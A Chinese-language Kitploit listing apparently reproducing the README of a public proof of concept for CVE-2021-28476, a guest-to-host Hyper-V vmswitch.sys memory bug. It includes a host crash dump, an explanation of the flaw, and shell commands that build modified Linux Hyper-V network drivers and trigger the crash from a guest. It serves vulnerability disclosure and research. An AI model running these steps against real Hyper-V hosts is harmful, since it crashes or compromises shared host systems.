Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-28476 — CVE-2021-28476 的 PoC,一个存在于 vmswitch.sys 中的客户机到主机“Hyper-V 远程代码执行漏洞”。 | Kitploit
工具/GitHubGitHub/0vercl0k/cve-2021-28476
漏洞分析漏洞利用模糊测试学习与教育二进制利用Archived
GitHub0vercl0k/cve-2021-28476

CVE-2021-28476

CVE-2021-28476 的 PoC,一个存在于 vmswitch.sys 中的客户机到主机“Hyper-V 远程代码执行漏洞”。

查看仓库
22634195年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-28476:vmswitch.sys 中的“Microsoft Hyper-V 远程代码执行漏洞”

这是 CVE-2021-28476(“Hyper-V 远程代码执行漏洞”)的概念验证,该漏洞是 vmswitch.sys(网络虚拟化服务提供程序)中的任意内存读取问题,微软于 2021 年 5 月进行了修补。

rel04vsrel05

该漏洞由 @australeo、@ergot86、@peleghd 和 @OphirHarpaz 发现。客户虚拟机通过 VMBus(一种用于分区间通信的基于通道的通信机制)发送恶意 RNDIS 数据包即可触发该漏洞。

trigger

以下是主机系统在调试器中崩溃时的样子:

*** Fatal System Error: 0x0000007e
                       (0xFFFFFFFFC0000005,0xFFFFF80AD4A41A63,0xFFFFB70DD7EB7028,0xFFFFB70DD7EB6860)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

nt!DbgBreakPointWithStatus:
fffff801`31412c50 cc              int     3

kd> .cxr 0xffffb70dd7eb6860
rax=fffff80ad4bc7214 rbx=fffff80ad4bf62a0 rcx=0000000000000000
rdx=00000000047a2807 rsi=ffffb70dd7eb7420 rdi=ffffa58caa318f00
rip=fffff80ad4a41a63 rsp=ffffb70dd7eb7260 rbp=ffffa58caa318fe0
 r8=0000000000000000  r9=000000000000013b r10=deadbeefbaadc0be
r11=ffffb70dd7eb7230 r12=fffff80ad4bc73d0 r13=00000000c0000001
r14=00000000000021f0 r15=fffff80ad4bc7360
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00050246
vmswitch!VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST+0xfb:
fffff80a`d4a41a63 418b4a20        mov     ecx,dword ptr [r10+20h] ds:002b:deadbeef`baadc0de=????????

kd> kp
 # Child-SP          RetAddr               Call Site
00 ffffb70d`d7eb7260 fffff80a`d4a3ee41     vmswitch!VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST+0xfb
01 ffffb70d`d7eb7300 fffff80a`d4a3fc76     vmswitch!VmsIfrInfoParamsNdisOidRequestBuffer+0x14d
02 ffffb70d`d7eb7380 fffff80a`d4a3c779     vmswitch!RndisDevHostHandleSetMessage+0x196
03 ffffb70d`d7eb7420 fffff801`3136f423     vmswitch!RndisDevHostControlMessageWorkerRoutine+0x199
04 ffffb70d`d7eb74c0 fffff801`3123a975     nt!IopProcessWorkItem+0x93
05 ffffb70d`d7eb7530 fffff801`3132ce85     nt!ExpWorkerThread+0x105
06 ffffb70d`d7eb75d0 fffff801`31412408     nt!PspSystemThreadStartup+0x55
07 ffffb70d`d7eb7620 00000000`00000000     nt!KiStartSystemThread+0x28

该漏洞本身发生在 VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST 函数中,该函数可以被调用时传入攻击者控制的数据(本不应如此),并解引用恶意客户虚拟机可提供的指针两次(下文中 boom->_win)。

boom

如果你对此感兴趣,@peleghd 和 @OphirHarpaz 将在 BlackHat USA 2021 的演讲 hAFL1:我们的 Hyper-V 模糊测试与 0 Day 发现之旅 中详细讨论此漏洞以及发现过程。

运行 PoC

运行 PoC 最简单的方法是创建一个运行最新版 Ubuntu Focal 的 Linux 虚拟机。

完成后,克隆匹配的内核源码:

$ uname -a
Linux tourdeforce 5.4.0-73-generic #82-Ubuntu SMP Wed Apr 14 17:39:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
$ git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git
$ cd ubuntu-focal
$ git checkout Ubuntu-5.4.0-73.82
$ git branch fbl_vswitch
$ git checkout fbl_vswitch

将 ~/ubuntu-focal/drivers/net/hyperv/netvsc_drv.c 替换为 src/netvsc_drv.c,将 ~/ubuntu-focal/drivers/net/hyperv/rndis_filter.c 替换为 src/rndis_filter.c,将 ~/ubuntu-focal/drivers/net/hyperv/hyperv_net.h 替换为 src/hyperv_net.h(完整差异见 cve-2021-28476.diff):

$ sudo apt-get install git build-essential kernel-package fakeroot libncurses5-dev libssl-dev ccache bison flex libelf-dev dwarves
$ cp /boot/config-5.4.0-73-generic .config
$ make oldconfig
$ make modules
$ make M=drivers/net/hyperv

最后,加载模块并更改网络接口的以太网地址以触发该问题(此操作会触发我们在 rndis_filter.c / netvsc_set_mac_addr 中添加的特定代码路径):

$ sudo rmmod hv_netvsc && insmod drivers/net/hyperv/hv_netvsc.ko
$ sudo ifconfig eth0 hw ether 00:11:22:33:44

作者

  • Axel '@0vercl0k' Souchet
下载工具